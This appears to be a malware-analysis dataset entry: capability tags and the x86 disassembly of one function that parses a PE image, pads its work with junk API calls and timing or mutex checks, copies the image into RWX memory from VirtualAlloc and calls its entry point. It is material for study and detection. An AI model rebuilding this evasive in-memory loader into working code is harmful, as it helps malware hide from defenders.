Function at 0x406030
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check mutex on windows
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push 0x4113c8
mov dword [ebx], 0
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp + 0xc], eax
mov eax, dword [ebx + 0x20]
mov edx, 0x5a4d
mov dword [ebx + 4], eax
cmp word [eax], dx
je 0x40607d
call fcn.004071cd
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
add eax, dword [eax + 0x3c]
push esi
mov dword [ebx + 8], eax
cmp dword [eax], 0x4550
push edi
je 0x40a7f1
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call esi
push 0
push 0
push 0x1f0001
call edi
push 0
push 0
call esi
push eax
call edi
push 8
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
pop edi
pop esi
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x64
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetVersion]
call dword [sym.imp.USER32.dll_GetCursor]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x40
push 0x1000
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0
push 0
push 1
mov dword [ebx + 0xc], eax
call esi
push 0
push 0
push 0x1f0001
call esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push 0x13
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call esi
cmp dword [ebx + 0xc], 0
jne 0x40a93a
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call esi
mov edx, dword [ebx + 8]
mov eax, dword [edx + 0x50]
push 0x40
push 0x2000
push eax
push 0
call edi
mov dword [ebx + 0xc], eax
test eax, eax
jne 0x40a93a
push 0xffffffffffffffff
push eax
push 1
push 0x1f0001
call esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x3bbe
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 8
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 1
call dword [sym.imp.USER32.dll_GetSysColor]
pop edi
pop esi
mov dword [ebx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
lea esi, [ebp + 8]
call fcn.004032aa
mov ecx, dword [ebp + 8]
push 0x14
xor edi, edi
push edi
push ecx
lea esi, [ebp + 8]
call fcn.0040f116
mov eax, dword [ebp + 8]
mov edx, dword [ebx + 0xc]
mov dword [ebx], eax
mov dword [eax + 4], edx
mov eax, dword [ebx + 0x24]
cmp eax, edi
je 0x40a96a
mov ecx, dword [ebx + 0xc]
mov dword [eax], ecx
mov edx, dword [ebx]
mov dword [edx + 0xc], edi
mov eax, dword [ebx]
mov dword [eax + 8], edi
mov ecx, dword [ebx]
mov dword [ecx + 0x10], edi
mov edx, dword [ebx + 8]
mov eax, dword [edx + 0x50]
mov edi, dword [ebx + 0xc]
push 0x1000
push eax
mov ecx, 0x40
lea esi, [ebp + 8]
call fcn.00403770
mov ecx, dword [ebp + 8]
mov edx, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebx + 0x10], ecx
mov esi, dword [edx + 0x54]
call fcn.00409fb1
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov dword [ebx + 0x10], eax
mov esi, dword [ecx + 0x3c]
add esi, dword [edx + 0x54]
push esi
push ecx
push eax
call fcn.0040da19
mov eax, dword [ebx + 4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebx + 0x10]
mov edx, dword [ebx]
mov dword [edx], ecx
mov eax, dword [ebx]
mov ecx, dword [eax]
mov edx, dword [ebx + 0xc]
mov dword [ecx + 0x34], edx
mov eax, dword [ebx]
mov ecx, dword [ebx + 8]
mov edx, dword [ebx + 0x20]
push eax
push ecx
push edx
call fcn.00407be8
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add esp, 0x18
sub eax, dword [ecx + 0x34]
mov dword [ebx + 0x14], eax
je 0x40aa12
push eax
mov eax, dword [ebx]
call fcn.00405f85
add esp, 4
mov ecx, dword [ebx]
call fcn.0041012f
test eax, eax
je 0x40ab20
mov edx, dword [ebp + 0xc]
push 0x4113f4
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov edi, dword [eax]
mov dword [ebp - 8], eax
movzx eax, word [edi + 0x14]
xor ecx, ecx
lea eax, [eax + edi + 0x3c]
mov dword [ebp + 0xc], 0
cmp cx, word [edi + 6]
jae 0x40aafd
mov dword [ebp + 8], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40aa93
mov eax, dword [ebp + 8]
mov ecx, dword [eax - 0x14]
mov edx, dword [eax - 0x1c]
push 0x4000
push ecx
push edx
lea esi, [ebp - 0xc]
call fcn.0040583a
jmp 0x40aae1
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x41605c]
test eax, 0x4000000
je 0x40aaad
or edx, 0x200
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx - 0x14]
test ecx, ecx
jne 0x40aacb
test al, 0x40
je 0x40aac0
mov ecx, dword [edi + 0x20]
jmp 0x40aac7
test al, al
jns 0x40aae1
mov ecx, dword [edi + 0x24]
test ecx, ecx
je 0x40aae1
mov eax, dword [ebp - 4]
test eax, eax
je 0x40aae1
lea esi, [ebp - 0x10]
push esi
push edx
mov edx, dword [ebp + 8]
push ecx
mov ecx, dword [edx - 0x1c]
push ecx
call eax
mov edx, dword [ebp - 8]
mov edi, dword [edx]
mov eax, dword [ebp + 0xc]
movzx ecx, word [edi + 6]
add dword [ebp + 8], 0x28
inc eax
mov dword [ebp + 0xc], eax
cmp eax, ecx
jl 0x40aa58
mov edx, dword [ebx]
mov eax, dword [edx]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x40ab44
mov ecx, dword [ebx + 0xc]
add eax, ecx
mov dword [ebx + 0x18], eax
je 0x40ab20
push 0
push 1
push ecx
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
jne 0x40ab3b
push 0
mov dword [ebx], 0
call fcn.00408474
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebx]
mov dword [ecx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8